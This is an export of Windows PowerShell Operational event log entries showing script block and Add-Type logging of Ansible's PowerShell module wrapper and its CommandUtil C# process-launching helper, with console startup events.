HJlY2F0aW9ucyBhdHRyaWJ1dGUgd2FzCiA
ScriptBlock ID: ef2e5cc7-bdb8-41c1-b74f-58d4150234e7
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1549 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4404 | 4788 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:32 AM | dfeadd90-ee34-0005-57f2-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7VmFsdWU9JHBheWxvYWQubW9kdWxlX2FyZ3N9KSB8IE91dC1OdWxsCiAgICAkcHMuQWRkQ29tbWFuZCgiT3V0LU51bGwiKSB8IE91dC1OdWxsCgogICAgIyByZWRlZmluZSBXcml0ZS1Ib3N0IHRvIGR1bXAgdG8gb3V0cHV0IGluc3RlYWQgb2YgZmFpbGluZy0gbG90cyBvZiBzY3JpcHRzIHVzZSBpdAogICAgJHBzLkFkZFN0YXRlbWVudCgpLkFkZFNjcmlwdCgiRnVuY3Rpb24gV3JpdGUtSG9zdChgJG1zZyl7IFdyaXRlLU91dHB1dCBgJG1zZyB9IikgfCBPdXQtTnVsbAoKICAgIEZvckVhY2ggKCRlbnZfa3YgaW4gJHBheWxvYWQuZW52aXJvbm1lbnQuR2V0RW51bWVyYXRvcigpKSB7CiAgICAgICAgIyBuZWVkIHRvIGVzY2FwZSAnIGluIGJvdGggdGhlIGtleSBhb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ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.CommandUtil": "IyBDb3B5cmlnaHQgKGMpIDIwMTcgQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0QgTGljZW5zZSAoc2VlIGxpY2Vuc2VzL3NpbXBsaWZpZWRfYnNkLnR4dCBvciBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL0JTRC0yLUNsYXVzZSkKCiRwcm9jZXNzX3V0aWwgPSBAIgp1c2luZyBNaWNyb3NvZnQuV2luMzIuU2FmZUhhbmRsZXM7CnVzaW5nIFN5c3RlbTsKdXNpbmcgU3lzdGVtLkNvbGxlY3Rpb25zOwp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5MaW5xOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uVGhyZWFkaW5nOwoKbmFtZXNwYWNlIEFuc2libGUKewogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNFQ1VSSVRZX0FUVFJJQlVURVMKICAgIHsKICAgICAgICBwdWJsaWMgaW50IG5MZW5ndGg7CiAgICAgICAgcHVibGljIEludFB0ciBscFNlY3VyaXR5RGVzY3JpcHRvcjsKICAgICAgICBwdWJsaWMgYm9vbCBiSW5oZXJpdEhhbmRsZSA9IGZhbHNlOwogICAgICAgIHB1YmxpYyBTRUNVUklUWV9BVFRSSUJVVEVTKCkKICAgICAgICB7CiAgICAgICAgICAgIG5MZW5ndGggPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPCiAgICB7CiAgICAgICAgcHVibGljIEludDMyIGNiOwogICAgICAgIHB1YmxpYyBJbnRQdHIgbHBSZXNlcnZlZDsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwRGVza3RvcDsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwVGl0bGU7CiAgICAgICAgcHVibGljIEludDMyIGR3WDsKICAgICAgICBwdWJsaWMgSW50MzIgZHdZOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd0ZpbGxBdHRyaWJ1dGU7CiAgICAgICAgcHVibGljIEludDMyIGR3RmxhZ3M7CiAgICAgICAgcHVibGljIEludDE2IHdTaG93V2luZG93OwogICAgICAgIHB1YmxpYyBJbnQxNiBjYlJlc2VydmVkMjsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwUmVzZXJ2ZWQyOwogICAgICAgIHB1YmxpYyBTYWZlRmlsZUhhbmRsZSBoU3RkSW5wdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRPdXRwdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRFcnJvcjsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8oKQogICAgICAgIHsKICAgICAgICAgICAgY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPRVgKICAgIHsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8gc3RhcnR1cEluZm87CiAgICAgICAgcHVibGljIEludFB0ciBscEF0dHJpYnV0ZUxpc3Q7CiAgICAgICAgcHVibGljIFNUQVJUVVBJTkZPRVgoKQogICAgICAgIHsKICAgICAgICAgICAgc3RhcnR1cEluZm8gPSBuZXcgU1RBUlRVUElORk8oKTsKICAgICAgICAgICAgc3RhcnR1cEluZm8uY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIHN0cnVjdCBQUk9DRVNTX0lORk9STUFUSU9OCiAgICB7CiAgICAgICAgcHVibGljIEludFB0ciBoUHJvY2VzczsKICAgICAgICBwdWJsaWMgSW50UHRyIGhUaHJlYWQ7CiAgICAgICAgcHVibGljIGludCBkd1Byb2Nlc3NJZDsKICAgICAgICBwdWJsaWMgaW50IGR3VGhyZWFkSWQ7CiAgICB9CgogICAgW0ZsYWdzXQogICAgcHVibGljIGVudW0gU3RhcnR1cEluZm9GbGFncyA6IHVpbnQKICAgIHsKICAgICAgICBVU0VTVERIQU5ETEVTID0gMHgwMDAwMDEwMAogICAgfQoKICAgIHB1YmxpYyBlbnVtIEhhbmRsZUZsYWdzIDogdWludAogICAgewogICAgICAgIE5vbmUgPSAwLAogICAgICAgIElOSEVSSVQgPSAxCiAgICB9CgogICAgY2xhc3MgTmF0aXZlV2FpdEhhbmRsZSA6IFdhaXRIYW5kbGUKICAgIHsKICAgICAgICBwdWJsa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ICAgICAgIHByaXZhdGUgc3RhdGljIFVJbnQzMiBFWFRFTkRFRF9TVEFSVFVQSU5GT19QUkVTRU5UID0gMHgwMDA4MDAwMDsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSwgQmVzdEZpdE1hcHBpbmcgPSBmYWxzZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVQcm9jZXNzKAogICAgICAgICAgICBbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuTFBXU3RyKV0KICAgICAgICAgICAgICAgIHN0cmluZyBscEFwcGxpY2F0aW9uTmFtZSwKICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBscENvbW1hbmRMaW5lLAogICAgICAgICAgICBJbnRQdHIgbHBQcm9jZXNzQXR0cmlidXRlcywKICAgICAgICAgICAgSW50UHRyIGxwVGhyZWFkQXR0cmlidXRlcywKICAgICAgICAgICAgYm9vbCBiSW5oZXJpdEhhbmRsZXMsCiAgICAgICAgICAgIHVpbnQgZHdDcmVhdGlvbkZsYWdzLAogICAgICAgICAgICBJbnRQdHIgbHBFbnZpcm9ubWVudCwKICAgICAgICAgICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkxQV1N0cildCiAgICAgICAgICAgICAgICBzdHJpbmcgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICBTVEFSVFVQSU5GT0VYIGxwU3RhcnR1cEluZm8sCiAgICAgICAgICAgIG91dCBQUk9DRVNTX0lORk9STUFUSU9OIGxwUHJvY2Vzc0luZm9ybWF0aW9uKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVQaXBlKAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFJlYWRQaXBlLAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFdyaXRlUGlwZSwKICAgICAgICAgICAgU0VDVVJJVFlfQVRUUklCVVRFUyBscFBpcGVBdHRyaWJ1dGVzLAogICAgICAgICAgICB1aW50IG5TaXplKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTZXRIYW5kbGVJbmZvcm1hdGlvbigKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgaE9iamVjdCwKICAgICAgICAgICAgSGFuZGxlRmxhZ3MgZHdNYXNrLAogICAgICAgICAgICBpbnQgZHdGbGFncyk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIEdldEV4aXRDb2RlUHJvY2VzcygKICAgICAgICAgICAgSW50UHRyIGhQcm9jZXNzLAogICAgICAgICAgICBvdXQgdWludCBscEV4aXRDb2RlKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gdWludCBTZWFyY2hQYXRoKAogICAgICAgICAgICBzdHJpbmcgbHBQYXRoLAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSwKICAgICAgICAgICAgc3RyaW5nIGxwRXh0ZW5zaW9uLAogICAgICAgICAgICBpbnQgbkJ1ZmZlckxlbmd0aCwKICAgICAgICAgICAgW01hcnNoYWxBcyAoVW5tYW5hZ2VkVHlwZS5MUFRTdHIpXQogICAgICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBscEJ1ZmZlciwKICAgICAgICAgICAgb3V0IEludFB0ciBscEZpbGVQYXJ0KTsKCiAgICAgICAgW0RsbEltcG9ydCgic2hlbGwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBzdGF0aWMgZXh0ZXJuIEludFB0ciBDb21tYW5kTGluZVRvQXJndlcoCiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUFdTdHIpXQogICAgICAgICAgICAgICAgc3RyaW5nIGxwQ21kTGluZSwKICAgICAgICAgICAgb3V0IGludCBwTnVtQXJncyk7CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nW10gUGFyc2VDb21tYW5kTGluZShzdHJpbmcgbHBDb21tYW5kTGluZSkKICAgICAgICB7CiAgICAgICAgICAgIGludCBudW1BcmdzOwogICAgICAgICAgICBJbnRQdHIgcmV0ID0gQ29tbWFuZExpbmVUb0FyZ3ZXKGxwQ29tbWFuZExpbmUsIG91dCBudW1BcmdzKTsKCiAgICAgICAgICAgIGlmIChyZXQgPT0gSW50UHRyLlplcm8pCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkVycm9yIHBhcnNpbmcgY29tbWFuZCBsaW5lIik7CgogICAgICAgICAgICBJbnRQdHJbXSBzdHJwdHJzID0gbmV3IEludFB0cltudW1BcmdzXTsKICAgICAgICAgICAgTWFyc2hhbC5Db3B5KHJldCwgc3RycHRycywgMCwgbnVtQXJncyk7CiAgICAgICAgICAgIHN0cmluZ1tdIGNtZGxpbmVQYXJ0cyA9IHN0cnB0cnMuU2VsZWN0KHMgPT4gTWFyc2hhbC5QdHJUb1N0cmluZ1VuaShzKSkuVG9BcnJheSgpOwoKICAgICAgICAgICAgTWFyc2hhbC5GcmVlSEdsb2JhbChyZXQpOwoKICAgICAgICAgICAgcmV0dXJuIGNtZGxpbmVQYXJ0czsKICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNlYXJjaFBhdGg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AgICAgICAgICAgIGlmICghQ3JlYXRlUGlwZShvdXQgc3RkZXJyX3JlYWQsIG91dCBzdGRlcnJfd3JpdGUsIHBpcGVzZWMsIDApKQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IFdpbjMyRXhjZXB0aW9uKCJTVERFUlIgcGlwZSBzZXR1cCBmYWlsZWQiKTsKICAgICAgICAgICAgaWYgKCFTZXRIYW5kbGVJbmZvcm1hdGlvbihzdGRlcnJfcmVhZCwgSGFuZGxlRmxhZ3MuSU5IRVJJVCwgMCkpCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIlNUREVSUiBwaXBlIGhhbmRsZSBzZXR1cCBmYWlsZWQiKTsKCiAgICAgICAgICAg
ScriptBlock ID: ef2e5cc7-bdb8-41c1-b74f-58d4150234e7
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1548 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4404 | 4788 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:32 AM | dfeadd90-ee34-0005-57f2-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1547 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4404 | 1500 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:32 AM | dfeadd90-ee34-0001-b527-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4404 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1546 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4404 | 3088 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:32 AM | dfeadd90-ee34-0001-b527-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1545 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4404 | 1500 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:32 AM | dfeadd90-ee34-0001-b527-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1544 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 572 | 4052 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:29 AM | dfeadd90-ee34-0000-65eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 572 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1543 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 572 | 528 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:29 AM | dfeadd90-ee34-0000-65eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1542 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 572 | 4052 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:29 AM | dfeadd90-ee34-0000-65eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
